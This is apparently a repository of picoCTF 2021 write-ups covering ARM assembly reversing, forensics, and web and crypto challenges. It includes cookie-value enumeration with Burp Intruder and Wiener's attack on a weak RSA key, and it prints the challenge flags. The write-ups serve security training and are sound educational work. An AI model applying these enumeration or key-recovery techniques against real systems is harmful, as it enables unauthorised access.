├── .gitattributes
├── ARMssembly-0
└── README.md
├── ARMssembly-1
└── README.md
├── ARMssembly-2
└── README.md
├── Cookies
├── README.md
├── burp_solve.png
├── flag.png
├── payload.png
├── poc-2.png
├── poc.png
├── snickerdoodle.png
└── website.png
├── Dachshund_Attacks
└── README.md
├── Disk_disk_sleuth
└── README.md
├── Disk_disk_sleuth_2
├── README.md
├── dds2-alpine.flag.img.gz
└── flag.png
├── Get_aHEAD
├── README.md
└── website.png
├── Information
├── README.md
└── cat.jpg
├── It_is_my_birthday
├── README.md
├── erase.pdf
├── hello.pdf
└── website.png
├── MacroHard_WeakEdge
├── Forensics is fun.pptm
└── README.md
├── Matryoshka_doll
└── README.md
├── Milkslap
├── README.md
└── slap.png
├── Mind_Your_Ps_and_Qs
├── README.md
├── solve.py
└── values
├── Most_Cookies
├── README.md
├── flag.png
└── server.py
├── New_caesar
├── README.md
└── solve.py
├── Play_nice
├── README.md
└── solve.py
├── README.md
├── Scavenger_Hunt
├── README.md
├── website.png
└── what.png
├── Some_assembly_required_1
└── README.md
├── Speeds_and_feeds
├── README.md
├── flag-2.png
└── flag.png
├── Transformation
├── README.md
├── enc
└── solve.py
├── Trivial_Flag_Transfer_Protocol
├── README.md
├── extract.png
├── files.png
└── tftp.pcapng
├── Weird_File
├── README.md
├── solve.sh
└── weird.docm
├── What's_your_input
├── README.md
└── in.py
├── Who_are_you
├── README.md
├── flag.png
├── letmeingif.gif
└── website.png
├── Wireshark_doo_dooo_do_doo
├── README.md
├── encrypted.png
├── flag.png
├── follow.png
├── http.png
├── http_200.png
├── sample.png
├── shark1.pcapng
└── text.png
├── crackme_py
└── README.md
├── easy_peasy
├── README.md
└── solve.py
├── keygenme-py
├── README.md
├── keygenme-trial.py
└── solve.py
└── me.png
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/ARMssembly-0/README.md:
--------------------------------------------------------------------------------
1 | # ARMssembly 0
2 |
3 | Category: Reverse Engineering
4 | AUTHOR: DYLAN MCGUIRE
5 |
6 | ## Description
7 | ```
8 | What integer does this program print with arguments 4134207980 and 950176538? File: chall.S
9 | Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
10 | ```
11 |
12 | ## Understanding the basics
13 |
14 | I would say that I am somewhat comfortable with classic `x86` assembly, but I had to learn about `ARM` for this challenge (which I love! Learning new stuff is more than cool). So we can break down the first function, step by step:
15 | ```arm
16 | func1:
17 | sub sp, sp, #16
18 | str w0, [sp, 12]
19 | str w1, [sp, 8]
20 | ldr w1, [sp, 12]
21 | ldr w0, [sp, 8]
22 | cmp w1, w0
23 | bls .L2
24 | ldr w0, [sp, 12]
25 | b .L3
26 | ```
27 | So here we go. `sp` stands for the stack pointer, and the `sub` instruction is a substraction with three components:
28 | ```
29 | sub x,y, #z
30 | ```
31 | Substract `#z` (# denotes a constant value) fro `y` and store it in `x`. Why is this instruction even here? It makes space on the stack for variables, and since we have two, substracting `16` should be just enough. In the next two lines we have some essential instructions:
32 | ```
33 | str w0, [sp, 12]
34 | str w1, [sp, 8]
35 | ```
36 | `str` stands for `store`, and `w0` and `w1` are the user input variables. So we `store` the values in `w0` and `w1` on the stack (`sp`). The number denotes the offset on the stack. So `str w0, [sp, 12]` means `store w0 on the stack at offset 12`. Pretty neat.
37 | ```
38 | ldr w1, [sp, 12]
39 | ldr w0, [sp, 8]
40 | ```
41 | Here we load the values from the stack at a given offset into a variable. So `load the value at offset 12 on the stack into w1` is equal to `ldr w1, [sp, 12]`. Also neat! And very important.
42 | ```
43 | cmp w1, w0
44 | ```
45 | Compare the values by substracting `w0` from `w1`. So basically a `sub` except that we do not store the value. Next!
46 | ```
47 | bls .L2
48 | ```
49 | Right, this is a `branch if less` instruction, if `w0` is smaller than `w1` `branch` or `jl` (for the x86 guys) to `.L2`. And at the end load a value again and `b` (simple branch `jmp` in x86). Very nice!
50 |
51 | ## Remaining functions
52 |
53 | ```
54 | .L2:
55 | ldr w0, [sp, 8]
56 | .L3:
57 | add sp, sp, 16
58 | ret
59 | .size func1, .-func1
60 | .section .rodata
61 | .align 3
62 | ```
63 | At `.L2` we load a value from the `stack at offset 8` into the variable w0 and continue execution back in `func1`. In `.L3` we just `add` 16 back to `sp`, ie. we fill the stack back again.
64 |
65 | ## Main
66 |
67 | ```
68 | main:
69 | stp x29, x30, [sp, -48]!
70 | add x29, sp, 0
71 | str x19, [sp, 16] # 4134207980
72 | str w0, [x29, 44] # 950176538
73 | str x1, [x29, 32]
74 | ldr x0, [x29, 32]
75 | add x0, x0, 8
76 | ldr x0, [x0]
77 | bl atoi
78 | mov w19, w0
79 | ldr x0, [x29, 32]
80 | add x0, x0, 16
81 | ldr x0, [x0]
82 | bl atoi
83 | mov w1, w0 # w1 -> 950176538
84 | mov w0, w19 # w0 -> 4134207980
85 | bl func1
86 | mov w1, w0
87 | adrp x0, .LC0
88 | add x0, x0, :lo12:.LC0
89 | bl printf
90 | mov w0, 0
91 | ldr x19, [sp, 16]
92 | ldp x29, x30, [sp], 48
93 | ret
94 | ```
95 | Here is the main function with my added "comments". So if we add everything together, what happens? If we just skip to the important bit, before branching to `.L3` the value from `[sp, 12]` is loaded and printed! So what is the flag?
96 | ```
97 | picoCTF{f66b01ec}
98 | ```
99 | Convert `4134207980` into a 32 bit hex string and that is it.
--------------------------------------------------------------------------------
/ARMssembly-1/README.md:
--------------------------------------------------------------------------------
1 | # ARMssembly 1
2 |
3 | Category: Reverse Engineering
4 | AUTHOR: PRANAY GARG
5 |
6 | **Disclaimer! I do not own the challenge file!**
7 |
8 | ## Description
9 | ```
10 | For what argument does this program print `win` with variables 68, 2 and 3? File: chall_1.S
11 | Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
12 | ```
13 |
14 | ## Going through the functions
15 |
16 | Yet again we have a `chall_1.S` arm assembly file, so time to look at the functions and go through it.
17 | ```
18 | func:
19 | sub sp, sp, #32
20 | str w0, [sp, 12]
21 | mov w0, 68
22 | str w0, [sp, 16]
23 | mov w0, 2
24 | str w0, [sp, 20]
25 | mov w0, 3
26 | str w0, [sp, 24]
27 | ldr w0, [sp, 20]
28 | ldr w1, [sp, 16]
29 | lsl w0, w1, w0
30 | str w0, [sp, 28]
31 | ldr w1, [sp, 28]
32 | ldr w0, [sp, 24]
33 | sdiv w0, w1, w0
34 | str w0, [sp, 28]
35 | ldr w1, [sp, 28]
36 | ldr w0, [sp, 12]
37 | sub w0, w1, w0
38 | str w0, [sp, 28]
39 | ldr w0, [sp, 28]
40 | add sp, sp, 32
41 | ret
42 | .size func, .-func
43 | .section .rodata
44 | .align 3
45 | ```
46 | Right, well that is pretty big. Maybe we can go through it piece by piece, like start with the stores.
47 | ```
48 | sub sp, sp, #32
49 | str w0, [sp, 12]
50 | mov w0, 68
51 | str w0, [sp, 16]
52 | mov w0, 2
53 | str w0, [sp, 20]
54 | mov w0, 3
55 | str w0, [sp, 24]
56 | ```
57 | So first we make space on the stack for the variables. Our user input is stored on the `stack at offset 12`, next the `mov` instruction is called.
58 | ```
59 | mov w0, 68
60 | ```
61 | The value `68` is moved into `w0`. This is a very easy and straight forward instruction. Going on this value is stored on the `stack at offset 16`. So going on like this, we get:
62 | ```
63 | stack + 12 = user input
64 | stack + 16 = 68
65 | stack + 20 = 2
66 | stack + 24 = 3
67 | ```
68 | Now that we know where everything on the stack is, we can move on.
69 | ```
70 | ldr w0, [sp, 20]
71 | ldr w1, [sp, 16]
72 | lsl w0, w1, w0
73 | str w0, [sp, 28]
74 | ```
75 | Now `load the number 2 into w0` and `load 68 into w1`. Then the `lsl` instruction is called, which is a left bit shift and store, with the following syntax:
76 | ```
77 | lsl x,y,z
78 | ```
79 | Shift the value in `y` by `z` and store the result in `x`. A demonstration of the bit shift ( >> or << in most languages):
80 | ```
81 | 12 in binary is 00001100 (padded to 8bits)
82 |
83 | now 00001100 << 2 (logical left shift 2)
84 |
85 | take 00001100 move it two bits to the left like so:
86 |
87 | 00001100 << 2 = 00110000
88 |
89 | Convert to decimal = 48
90 | ```
91 | Now that we know all this, we can yet again move on.
92 | ```
93 | ldr w1, [sp, 28]
94 | ldr w0, [sp, 24]
95 | sdiv w0, w1, w0
96 | str w0, [sp, 28]
97 | ```
98 | Start by `loading the value 272 from stack + 28 into w0` (the result of the bit shift!) and `load 3 from stack + 24 into w1`. Next up, the `sdiv` instruction.
99 | ```
100 | sdiv x,y,z
101 | ```
102 | Divide `y` by `z` and store in `x`. So in our case `272 // 3 = 90`. And store `90 on the stack + 28`. To keep track of values, here's another listing:
103 | ```
104 | stack + 12 = user input
105 | stack + 16 = 68
106 | stack + 20 = 2
107 | stack + 24 = 3
108 | stack + 28 = 90
109 | ```
110 | Good, moving on:
111 | ```
112 | ldr w1, [sp, 28]
113 | ldr w0, [sp, 12]
114 | sub w0, w1, w0
115 | str w0, [sp, 28]
116 | ldr w0, [sp, 28]
117 | add sp, sp, 32
118 | ret
119 | ```
120 | And finally `load 90 into w1`, `load the user input into w0` and `substract 90 - user input`. Store the result of this in `stack + 28` and `load that result back into w0`. Return.
121 |
122 | ## Going into main
123 | ```
124 | main:
125 | stp x29, x30, [sp, -48]!
126 | add x29, sp, 0
127 | str w0, [x29, 28]
128 | str x1, [x29, 16]
129 | ldr x0, [x29, 16]
130 | add x0, x0, 8
131 | ldr x0, [x0]
132 | bl atoi
133 | str w0, [x29, 44]
134 | ldr w0, [x29, 44]
135 | bl func
136 | cmp w0, 0 <----------
137 | bne .L4
138 | adrp x0, .LC0
139 | add x0, x0, :lo12:.LC0
140 | bl puts
141 | b .L6
142 | ```
143 | Notice the `cmp` instruction. We want the `w0` variable to be `0`! If it's not, we branch to `.L4` which branches to `.L1`, and we don't want the result to be `.L1` but `.L0`:
144 | ```
145 | .LC0:
146 | .string "You win!"
147 | .align 3
148 | .LC1:
149 | .string "You Lose :("
150 | .text
151 | .align 2
152 | .global main
153 | .type main, %function
154 | ```
155 |
156 | ## Solving
157 |
158 | So what is the important part? Where does our input come into play?
159 | ```
160 | sub w0, w1, w0
161 | ```
162 | Here. We want the result of this substraction to be `0`. And since `w1` is 90, we want to input 90! Convert that to hex and make it 32 bits.
163 | ```
164 | picoCTF{0000005a}
165 | ```
--------------------------------------------------------------------------------
/ARMssembly-2/README.md:
--------------------------------------------------------------------------------
1 | # ARMssembly 2
2 |
3 | Category: Reverse Engineering
4 | AUTHOR: DYLAN MCGUIRE
5 |
6 | **Disclaimer! I do not own any of the challenge files!**
7 |
8 | ## Description
9 | ```
10 | What integer does this program print with argument 2403814618? File: chall_2.S
11 | Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
12 | ```
13 |
14 | ## Function analysis
15 |
16 | If you've read my previous ARMssembly writeups, you know the drill. It's time to delv deep into the functions.
17 | ```
18 | func1:
19 | sub sp, sp, #32
20 | str w0, [sp, 12]
21 | str wzr, [sp, 24]
22 | str wzr, [sp, 28]
23 | b .L2
24 | .L3:
25 | +-->ldr w0, [sp, 24]
26 | | add w0, w0, 3
27 | | str w0, [sp, 24]
28 | | ldr w0, [sp, 28]
29 | | add w0, w0, 1
30 | | str w0, [sp, 28]
31 | .L2:
32 | | ldr w1, [sp, 28]
33 | | ldr w0, [sp, 12]
34 | | cmp w1, w0
35 | +---bcc .L3
36 | ldr w0, [sp, 24]
37 | add sp, sp, 32
38 | ret
39 | .size func1, .-func1
40 | .section .rodata
41 | .align 3
42 | ```
43 | These are the most important functions for us. And I added an `r2` style loop indicator for myself. Time for `.func1`.
44 |
45 | ### .func1
46 | ```
47 | func1:
48 | sub sp, sp, #32
49 | str w0, [sp, 12]
50 | str wzr, [sp, 24]
51 | str wzr, [sp, 28]
52 | b .L2
53 | ```
54 | By now, this should be obvious to you. But we see one peculiar register. `wzr` is a special register, and it holds the value `0`. This allows us to quickly store a 0.
55 | ```
56 | stack + 12 = 2403814618
57 | stack + 24 = 0
58 | stack + 28 = 0
59 | ```
60 | And finally just `branch` (jmp in x86) to `.L2`!
61 |
62 | ### .L2
63 | ```
64 | .L2:
65 | ldr w1, [sp, 28]
66 | ldr w0, [sp, 12]
67 | cmp w1, w0
68 | bcc .L3
69 | ldr w0, [sp, 24]
70 | add sp, sp, 32
71 | ret
72 | .size func1, .-func1
73 | .section .rodata
74 | .align 3
75 | ```
76 | Now `load 0 into w1` and `load 2403814618 into w0` and compare them. (Which is just a `sub` without storing the value) And most importantly `bcc` branch if the carry flag is set (it is set when w1 < w0)! This is our loop! We could maybe imagine it like this:
77 | ```py
78 | while w1 >= w0:
79 | L3()
80 | ```
81 | After the loop ends `load a value from stack + 24 into w0`. Return.
82 |
83 | ### .L3
84 | ```
85 | .L3:
86 | ldr w0, [sp, 24]
87 | add w0, w0, 3
88 | str w0, [sp, 24]
89 | ldr w0, [sp, 28]
90 | add w0, w0, 1
91 | str w0, [sp, 28]
92 | ```
93 | This is what happens every loop, `Load the value from stack + 24 into w0` and add 3 to it. `Store this value in stack + 24`. Next `load the value from stack + 28 into w0` and add 1 to it. `Store this value in stack + 28`. And we will do this, until `stack + 28 > stack + 12`.
94 |
95 | ## Solving it
96 |
97 | So what do we actually need to do? Well think about it... we just want to loop. But can we do this without looping? `2403814618` loops is quite a lot.... How about we just calculate `2403814618 * 3`, since we know that 3 will be added everytime and this is what will be printed. What is the result? `7211443854` Great! Just turn into hex and... Well not so fast. It needs to be a 32bit number, here's how we convert:
98 | ```py
99 | >>> result = int(hex(7211443854),16) & 0xffffffff
100 | >>> f'{result:08x}'
101 | 'add5e68e'
102 | >>>
103 | ```
104 | There we go! Wrapped it in `picoCTF{add5e68e}` and done.
--------------------------------------------------------------------------------
/Cookies/README.md:
--------------------------------------------------------------------------------
1 | # Cookies
2 |
3 | Category: Web Exploitation
4 |
5 | AUTHOR: MADSTACKS
6 |
7 | ## Description
8 | ```
9 | Who doesn't love cookies? Try to figure out the best one.
10 | ```
11 |
12 | ## Looking at the website
13 |
14 | Opening up the given link we are welcomed by the following page:
15 |
16 |
17 | 
18 |
19 |
20 |
21 | Good, so we can search for cookies. I fired up `BurpSuite` right away, entered `snickerdoodle` and sent it away! After I got a response from the server my web cookie changed
22 | ```
23 | name=0
24 | ```
25 | And this appeared:
26 |
27 |
28 | 
29 |
30 |
31 |
32 | ## Burping
33 |
34 | Interesting, we started out at `name=-1`. I wonder if the cookies are in a sequence? I changed my cookie in Burp to `name=1`. Like so:
35 |
36 |
37 |
38 | 
39 |
40 |
41 |
42 | Sent it with forward and click through to the response.
43 |
44 |
45 |
46 | 
47 |
48 |
49 |
50 | Awesome! Now we can go through with intruder. Set a list like so:
51 |
52 |
53 |
54 | 
55 |
56 |
57 |
58 | Now just fire away! Responses are coming in now, so just sort by `length` and look for the odd one out. I found this:
59 |
60 |
61 |
62 | 
63 |
64 |
65 |
66 | Could this one be it?
67 |
68 |
69 |
70 | 
71 |
72 |
73 | And indeed it is! It might look nicer on the webpage, but this is could enough :)
74 |
75 | ```
76 | picoCTF{3v3ry1_l0v3s_c00k135_94190c8a}
77 | ```
--------------------------------------------------------------------------------
/Cookies/burp_solve.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/burp_solve.png
--------------------------------------------------------------------------------
/Cookies/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/flag.png
--------------------------------------------------------------------------------
/Cookies/payload.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/payload.png
--------------------------------------------------------------------------------
/Cookies/poc-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/poc-2.png
--------------------------------------------------------------------------------
/Cookies/poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/poc.png
--------------------------------------------------------------------------------
/Cookies/snickerdoodle.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/snickerdoodle.png
--------------------------------------------------------------------------------
/Cookies/website.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/website.png
--------------------------------------------------------------------------------
/Dachshund_Attacks/README.md:
--------------------------------------------------------------------------------
1 | # Dachshund Attacks
2 |
3 | Category: Cryptography
4 | AUTHOR: SARA
5 |
6 | ## Description
7 | ```
8 | What if d is too small?
9 | ```
10 |
11 | ## Research
12 |
13 | After connecting with netcat:
14 | ```
15 | Welcome to my RSA challenge!
16 | e: 24306145239119831891057822826171152463533310560588061481342282082293832877043229140944546638772209266341357024664926986499282658640654836421168385674155158010757034371368551464449266158342531284923781100460337336731237334995747794173427317983442414014866351103394165986951821807429589876087730750588747227475
17 | n: 113879656614968219315002292792785016300283621066264891462746855897849984541260238077395872179414479414351940265337417733895597641292673333616687328592787030278301325411879910209868945485563446678554667658812834112484496059760537701323622763502114387050535004354955498047452244677269702789571760082735759416661
18 | c: 33975267070546558291376396894156641020103607950277145572215677351937011883386332628721280056087182329858563172091251439777476221940648453840314586019058031879889240891587737579019948125735285606842093451632409848923515598366204079628214398453946777088376520333236232456361563632867701193232209996182065102638
19 | ```
20 | Great, so we have pretty big values. Maybe the name of the challenge could help? Try Googling `Dachshund`. A dog that (Americans I think) call a Wiener dog (not kidding). Maybe this has something to do with RSA? Try googling `Wiener RSA`. You should find [this](https://en.wikipedia.org/wiki/Wiener%27s_attack) Wikipedia article. Nice! So maybe we can attack it? Then I searched for existing implementations of this attack in python and found [this](https://github.com/pablocelayes/rsa-wiener-attack/blob/master/RSAwienerHacker.py).
21 |
22 | ## Clone and edit
23 |
24 | So just `git clone` the tool and edit the `RSAwienerHacker.py` source like so:
25 | ```py
26 | if t!=-1 and (s+t)%2==0:
27 | print("Hacked!")
28 | print(d)
29 | return d
30 | ```
31 | Just let it print `d`. Then give the function the values and run:
32 | ```
33 | d = 30478129286063770625826157267481725440648795386122572986908262146195842369909
34 | ```
35 | Great, then I just ran these commands in the python interpreter:
36 | ```py
37 | >>> d = 30478129286063770625826157267481725440648795386122572986908262146195842369909
38 | >>> c = 19670829373448227336612091371853437715641143369845978105227955250203929596122162379586823049655885463258494241031020759090289294678934795410036506457875839111151900146085356632197127300732370877258215371139186168365001274223287909907133192431779175983967706830025744307582355098871766511313408031034363234933
39 | >>> pow(c,d,n)
40 | 198614235373674103788888306985643587194108045477674049828581286653845845629
41 | >>> from Crypto.Util.number import long_to_bytes
42 | >>> long_to_bytes(198614235373674103788888306985643587194108045477674049828581286653845845629)
43 | b'picoCTF{proving_wiener_5086186}'
44 | ```
45 | There we go!
--------------------------------------------------------------------------------
/Disk_disk_sleuth/README.md:
--------------------------------------------------------------------------------
1 | # Disk,disk,sleuth!
2 |
3 | Category: Forensics
4 | AUTHOR: SYREAL
5 |
6 | **Disclaimer! I do not own any of the challenge files!**
7 |
8 | ## Description
9 | ```
10 | Use `srch_strings` from the sleuthkit and some terminal-fu to find a flag in this disk image: dds1-alpine.flag.img.gz
11 | ```
12 |
13 | ## The image
14 |
15 | After downloading the image, I used `gunzip` to unzip it and then ran `srch_strings` just as recommended.
16 |
17 |
18 | *NOTE: srch_strings is part of the sleuthkit, which you can downloade [here](https://sleuthkit.org/sleuthkit/download.php)*
19 |
20 |
21 | ```
22 | srch_strings dds1-alpine.flag.img
23 | ...
24 | mouse
25 | mousedev.ko
26 | serio
27 | psmouse.ko
28 | @1,`@1,`@1,`
29 | @1,`@1,`@1,`
30 | @1,`@1,`@1,`
31 | @1,`@1,`@1,`
32 | @1,`@1,`@1,`
33 | @1,`@1,`@1,`
34 | @1,`@1,`@1,`
35 | @1,`@1,`@1,`
36 | hyperv-keyboard.ko
37 | pcips2.ko
38 | bcache
39 | dm-bio-prison.koHp
40 | dm-bufio.ko
41 | dm-cache-smq.ko
42 | dm-cache.ko
43 | dm-crypt.ko
44 | dm-delay.ko
45 | dm-flakey.koNp
46 | dm-log-userspace.ko
47 | dm-log-writes.koPp
48 | dm-log.ko
49 | dm-mirror.koRp
50 | dm-mod.ko
51 | dm-multipath.ko
52 | dm-queue-length.ko
53 | dm-raid.ko
54 | dm-region-hash.ko
55 | dm-round-robin.ko
56 | dm-service-time.ko
57 | dm-snapshot.ko
58 | dm-switch.ko[p
59 | dm-thin-pool.ko
60 | dm-unstripe.ko
61 | ...
62 | ```
63 | But the output is absolutely massive... Hey, maybe we can just do a simple grep?
64 | ```
65 | srch_strings dds1-alpine.flag.img | grep pico
66 | ffffffff81399ccf t pirq_pico_get
67 | ffffffff81399cee t pirq_pico_set
68 | ffffffff820adb46 t pico_router_probe
69 | SAY picoCTF{f0r3ns1c4t0r_n30phyt3_267e38f6}
70 | ```
71 | Flagalicious!
--------------------------------------------------------------------------------
/Disk_disk_sleuth_2/README.md:
--------------------------------------------------------------------------------
1 | # Disk,disk,sleuth! II
2 |
3 | Category: Forensics
4 | AUTHOR: SYREAL
5 |
6 | **Disclaimer! I do not own any of the challenge files!**
7 |
8 | ## Description
9 | ```
10 | All we know is the file with the flag is named `down-at-the-bottom.txt`...
11 | Disk image: dds2-alpine.flag.img.gz
12 | ```
13 |
14 | ## Poking around
15 |
16 | So just like last time, I ran `srch_strings`:
17 | ```
18 | srch_strings dds2-alpine.flag.img | grep pico
19 | ffffffff81399ccf t pirq_pico_get
20 | ffffffff81399cee t pirq_pico_set
21 | ffffffff820adb46 t pico_router_probe
22 | ```
23 | But nothing this time... maybe some other tools? I tried playing around with the GUI version of tsk `Autopsy`. But it didn't help... so I decided to just install qemu and try and boot into the img from there.
24 |
25 | ## qemu
26 |
27 | Installation (on Kali/Debian): `apt-get install qemu-kvm`
28 |
29 | Then I just ran `qemu-system-x86_64 dds2-alpine.flag.img`. The image booted up, and I searched for `down-at-the-bottom.txt`:
30 |
31 |
32 |
33 | 
34 |
35 |
36 |
37 | `picoCTF{f0r3ns1c4t0r_n0v1c3_0d9d9ecb}` Great!
38 |
--------------------------------------------------------------------------------
/Disk_disk_sleuth_2/dds2-alpine.flag.img.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Disk_disk_sleuth_2/dds2-alpine.flag.img.gz
--------------------------------------------------------------------------------
/Disk_disk_sleuth_2/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Disk_disk_sleuth_2/flag.png
--------------------------------------------------------------------------------
/Get_aHEAD/README.md:
--------------------------------------------------------------------------------
1 | # Get aHEAD
2 |
3 | AUTHOR: MADSTACKS
4 |
5 | ##Description
6 |
7 | ```
8 | Find the flag being held on this server to get ahead of the competition
9 | ```
10 |
11 | ## Solution
12 |
13 | Opening up the website we can see the following:
14 |
15 |
16 | 
17 |
18 |
19 |
20 | Okay, so we can change the colour of the page. But what use is that to us? Maybe there is something in the source code.
21 | ```html
22 |
23 |
24 |
25 | Red
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
Red
36 |
37 |
38 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
Blue
48 |
49 |
50 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 | ```
61 | Also nothing, we can just see that `Red` is set with a GET request, and `Blue` with a POST. Hmm, maybe there is a hint in the name of the challenge? After all, we can send a GET request, POST request or a HEAD. Maybe that is it?
62 |
63 | ### For windows users
64 | In powershell
65 | ```powershell
66 | curl -Uri http://mercury.picoctf.net:15931/ -Method HEAD
67 |
68 | StatusCode : 200
69 | StatusDescription : OK
70 | Content :
71 | RawContent : HTTP/1.1 200 OK
72 | flag: picoCTF{r3j3ct_th3_du4l1ty_82880908}
73 | Content-Type: text/html; charset=UTF-8
74 |
75 |
76 | Forms : {}
77 | Headers : {[flag, picoCTF{r3j3ct_th3_du4l1ty_82880908}], [Content-Type, text/html; charset=UTF-8]}
78 | Images : {}
79 | InputFields : {}
80 | Links : {}
81 | ParsedHtml : mshtml.HTMLDocumentClass
82 | RawContentLength : 0
83 | ```
84 | Flag!
85 |
86 | ### Linux
87 | ```bash
88 | curl --HEAD http://mercury.picoctf.net:15931/
89 |
90 | HTTP/1.1 200 OK
91 | flag: picoCTF{r3j3ct_th3_du4l1ty_82880908}
92 | Content-type: text/html; charset=UTF-8
93 | ```
94 | The same flag!
95 |
--------------------------------------------------------------------------------
/Get_aHEAD/website.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Get_aHEAD/website.png
--------------------------------------------------------------------------------
/Information/README.md:
--------------------------------------------------------------------------------
1 | # Information
2 |
3 | Category: Forensics
4 | AUTHOR: SUSIE
5 |
6 | ## Description
7 | ```
8 | Files can always be changed in a secret way. Can you find the flag? cat.jpg
9 | ```
10 |
11 | ## The image
12 |
13 | Here is our cute little cat:
14 |
15 |
16 | 
17 |
18 |
19 |
20 | Whenever I get an image file, I go and run `file` (to make sure it's an image), `binwalk` (to see if there are hidden files), `strings` and usually I pair that with `grep` and lastly I check the image in a `hexeditor`, just to check the header and such.
21 | ```bash
22 | root@kali:~/CTFs/Picoctf-2021/information-solved# file cat.jpg
23 | cat.jpg: JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2560x1598, components 3
24 | root@kali:~/CTFs/Picoctf-2021/information-solved# binwalk cat.jpg
25 |
26 | DECIMAL HEXADECIMAL DESCRIPTION
27 | --------------------------------------------------------------------------------
28 | 0 0x0 JPEG image data, JFIF standard 1.02
29 |
30 | root@kali:~/CTFs/Picoctf-2021/information-solved# strings cat.jpg | grep picoCTF{*
31 | root@kali:~/CTFs/Picoctf-2021/information-solved#
32 | ```
33 | Great, what about the hex?
34 | ```
35 | ......JFIF......
36 | .......0Photosho
37 | p 3.0.8BIM......
38 | ....t..PicoCTF..
39 | ..........http:/
40 | /ns.adobe.com/xa
41 | p/1.0/.....
58 | . .
63 | rdf:Description>
64 | .. .
69 | .
70 | . <
71 | rdf:li xml:lang=
72 | 'x-default'>Pico
73 | CTF.
74 | . . .
77 | rdf:RDF>..
79 | ```
80 | Interesting... I can see some base64, maybe? `W5M0MpCehiHzreSzNTczkc9d` and `cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9`
81 |
82 | ## Decoding in the terminal
83 |
84 | ### Linux
85 |
86 | Just `echo W5M0MpCehiHzreSzNTczkc9d | base64 -d` and we get beautiful nonsense `[�42���!��573��]r`. So maybe try the next string:
87 | ```bash
88 | echo cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9 | base64 -d
89 |
90 | picoCTF{the_m3tadata_1s_modified}
91 | ```
92 | Great!!
93 |
94 | ### Windows (PowerShell)
95 |
96 | This looks a little bit more dawnting
97 | ```powershell
98 | [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9'))
99 | picoCTF{the_m3tadata_1s_modified}
100 | ```
101 | Now, some of you might have just tried `[System.Convert]::FromBase64String('cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9')`. But the encoding specifies is really needed, because `FromBase64String` returns a byte array that then has to be converted.
--------------------------------------------------------------------------------
/Information/cat.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Information/cat.jpg
--------------------------------------------------------------------------------
/It_is_my_birthday/README.md:
--------------------------------------------------------------------------------
1 | # It is my Birthday
2 |
3 | Category: Web Exploitation
4 | AUTHOR: MADSTACKS
5 |
6 | ## Description
7 | ```
8 | I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website.
9 | ```
10 |
11 | ## The gimmick
12 |
13 | So someone "secured" their invite cards by making sure that the MD5 hash of their two invites are the same. This is all nice and dandy, except for one problem. MD5 is known to have Hash collisions! "What's that?":
14 | ```
15 | +-----------------+
16 | Plain text ====> | Hash function | ====> Hash
17 | +-----------------+
18 | ```
19 | This is basically what you can imagine under hashing. One important thing to note, is that one of the required properties for a hash function is that it is irreversible, ie. unlike encryption there is no inverse function that can recover the plaintext from the hash. The other important property is, that for each unique input we should generate a unique output:
20 | ```
21 | +-----------------+
22 | Message 1 ====> | Hash function | ====> Hash 1
23 | +-----------------+
24 |
25 | +-----------------+
26 | Message 2 ====> | Hash function | ====> Hash 2
27 | +-----------------+
28 | ```
29 | Where the following is true:
30 | ```
31 | Hash 1 != Hash 2
32 | ```
33 |
34 | ## The solution
35 |
36 | Great! So no way we could possibly solve this challenge.... well that is obviously not true. We've established before that MD5 is vulnerable and collisions have been found before. Like [here](https://www.mscs.dal.ca/~selinger/md5collision/). This is also where I found my files.
